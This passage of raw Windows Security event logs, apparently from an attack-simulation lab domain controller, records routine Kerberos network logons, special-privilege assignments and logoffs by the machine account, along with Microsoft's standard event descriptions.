TaskCategory=Special Logon
OpCode=Info
RecordNumber=248432
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB36BB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248455
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3958

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248454
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3958
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63922

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248453
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3958

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248452
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB38FB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248451
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB38FB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63921

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248450
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB38FB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248449
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3899

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248448
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3899
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63920

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248447
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3899

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248446
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB383C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248445
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB383C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63919

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248444
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB383C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248470
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB4A2D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248469
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB4A2D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63927

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248468
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB4A2D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248467
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB49BC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248466
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB49BC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63926

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248465
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB49BC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248464
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB4944

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248463
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB4944
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63925

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248462
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB4944

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248461
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB48D1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248460
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB48D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63924

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248459
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB48D1

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248458
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB41A6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248457
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB41A6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		63923

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248456
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB41A6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248482
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB6357

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
